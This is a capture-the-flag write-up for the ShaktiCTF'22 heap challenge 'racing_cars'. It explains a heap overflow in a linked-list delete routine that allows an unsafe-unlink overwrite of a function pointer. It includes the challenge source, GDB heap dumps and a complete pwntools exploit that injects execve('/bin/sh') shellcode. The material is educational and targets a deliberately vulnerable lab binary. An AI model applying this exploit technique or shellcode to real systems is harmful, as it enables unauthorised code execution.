racing_cars
Author: d1g174l_f0rtr355
Solves: 2
Difficulty: Medium
This is one of the heap challenges I made for ShaktiCTF'22. The binary provided is a stripped binary, making it difficult. However useful decompilers such as Ghidra/ IDA make it easy to debug and decompile.
Preliminary Checks:
We observe that the binary given is a 32 bit stripped binary with the following cheks enabled and disabled:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
One key security check to note here is that the NX bit is disabled. This makes it easy for us to inject a shellcode and execute it. However the question is how?
Understanding the challenge
For the purpose of understanding, let's take a look at the source code which was also released during the CTF.
We notice a few things such as:
- structure node: This node contains an interger id
, a char buffer
and two other nodes pointers namely, next
, and prev
.
struct node{
int id;
char buffer[32];
struct node* next;
struct node* prev;
};
- insert: Here, the node temp
is a pointer that contaoins the malloced chunk. The size allocated is 0x30 bytes, as can be seen in GDB (set a break point at 0x8049391
where malloc() is called, and check the heap address present in the eax register after calling malloc()). We also observe that the pointer to the next chunk of the current chunk is nulled out. This function is responsible for inserting the current node onto the heap.
int insert(int id){
struct node *temp = malloc(sizeof(struct node));
temp->next = NULL;
temp->id = id;
if(head==NULL){
head = temp;
head->prev = NULL;
return 1;
}
struct node *iter = head;
while(iter->next != NULL){
iter = iter->next;
}
iter->next = temp;
temp->prev = iter;
return 1;
}
pwndbg> x/20x 0x804d1a0-0x8
0x804d198: 0x00000000 0x00000031 0x00000000 0x00000000
0x804d1a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1c8: 0x00000000 0x00021e39 0x00000000 0x00000000
0x804d1d8: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg>
- delete: This function is responsible for freeing an allocated chunk. The freeing process is similar to that in unlink where upon freeing a current chunk, its forward and backward pointers point to the current chunk's forward and backward chunks.
int delete(int id){
struct node *temp = head;
while(temp->id != id && temp->next != NULL)
temp = temp->next;
if(temp==NULL)
return 0;
if(temp->next == NULL)
temp->prev->next = NULL;
if(temp->prev == NULL)
temp->next->prev = NULL;
if(temp->next != NULL && temp->prev != NULL){
temp->prev->next = temp->next;
temp->next->prev = temp->prev;
}
free(temp);
return 0;
}
- main: Here we see an input taken into the global variable array with our input size being 50. This is where we shall place our shellcode for program redirection. Further we see that 3 chunks are being allocated on heap (through insert()). The chunks are read from the get_name() function where we observe the overflow happening. The order the chunks are being read in and the index of the chunk which is deleted is of importance to check.
printf("\nChoose your car: ");
fgets(array,50,stdin);
for(i=0;i<3;i++){
insert(i);
}
printf("\nEnter your details before you begin the race\nName: ");
get_name(0);
printf("\nOccupation: ");
get_name(2);
printf("\nAddress: ");
get_name(1);
delete(1);
(*function_pointer)();
return 0;
- get_name(): This is the function called when we have to read data into the allocated chunks on the heap. The order in which the chunks are read are
0 2 1
. This is important as we can cause an overflow from chunk1
to chunk2
, overwrite thefunction_ptr
with the address ofarray
where we have our shellcode into. As we can see from the code below, the allocated chunk size is only0x30
bytes, whereas we are reading0x100
bytes of input data.
struct node *temp = head;
while(temp->id != id && temp->next != NULL)
temp = temp->next;
if(temp==NULL)
return 0;
fgets(temp->buffer,0x100,stdin);
return 0;
Exploitation:
To understand the overwrite using the unsafe-unlink
technique in heap, we shall take a look at the structure node below:
struct node{
int id;
char buffer[32];
struct node* next;
struct node* prev;
};
In the above section of code, we observe that the next
and the prev
nodes in the struct are right after buffer of size 32 bytes (or 0x20 bytes).
The code that is used to remove chunk from its bin is implemented as a macro called unlink
and looks something like:
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \
}
This is pretty standard code for removing an element from a doubly-linked list.
What happens when there's a buffer overflow on the heap? In this case, the attacker is able to overwrite some metadata from the next chunk. When the current chunk is freed, the malicious metadata will be used to trick the heap manager into performing unintended actions.
Keeping in mind how the unsafe-unlinking works, we overwrite next
with function_ptr-0x28
and prev
with array
. Here we subtract 0x28 from the address of function_ptr
due to the 0x20 buffer + 4 bytes of next
and 4
bytes of prev
pointer addresses.
We shall fill the 0th chunk with a few 'a's. The 2nd chunk with a few 'c's, and use the heap overflow to overwrite the function_ptr
with array
. Hence when the function_ptr
function is called next, our shellcode gets executed instead.
For that we need to construct our payload:
pay = 'b'*0x20
pay += p32(function_ptr - 0x28)
pay += p32(array)
pay += p32(0x65)
Below is the GDB-dump of the heap at this point!
pwndbg> x/20x 0x8ad11a0-0x8
0x8ad1198: 0x00000000 0x00000031 0x00000000 0x61616161
0x8ad11a8: 0x61616161 0x61616161 0x61616161 0x0000000a
0x8ad11b8: 0x00000000 0x00000000 0x00000000 0x08ad11d0
0x8ad11c8: 0x00000000 0x00000031 0x00000001 0x62626262
0x8ad11d8: 0x62626262 0x62626262 0x62626262 0x62626262
pwndbg>
0x8ad11e8: 0x62626262 0x62626262 0x62626262 0x0804c01c
0x8ad11f8: 0x0804c080 0x00000065 0x0000000a 0x63636363
0x8ad1208: 0x63636363 0x63636363 0x63636363 0x0000000a
0x8ad1218: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ad1228: 0x08ad11d0 0x00021dd9 0x00000000 0x00000000
The unlinking takes place as desired, the next
and prev
pointers in the structure get overwritten. In this way, the function_ptr
also gets overwritten to point to the global address of array
where the shellcode is stotred.
Exploit
def shellcode():
shell = 'xor ecx, ecx\n'
shell += 'xor edx, edx\n'
shell += 'push eax\n'
shell += 'push 0x68732f\n'
shell += 'push 0x6e69622f\n'
shell += 'mov ebx, esp\n'
shell += 'push 0xb\n'
shell += 'pop eax\n'
shell += 'int 0x80\n'
return asm(shell)
from pwn import *
p = process('./racing_cars')
exe = ELF('./racing_cars')
gdb.attach(p, gdbscript='b*0x0804971c\n')
#p = remote('65.2.136.80', 32645)
p.sendlineafter('Choose your car: ', shellcode())
p.sendlineafter('Name: ', 'a'*0x10)
p.sendlineafter('Occupation: ', 'c'*0x10)
function_ptr = 0x804c044
arr = 0x804c080
pay = 'b'*0x20
pay += p32(function_ptr - 0x28)
pay += p32(arr)
pay += p32(0x65)
p.sendlineafter('Address: ', pay)
p.interactive()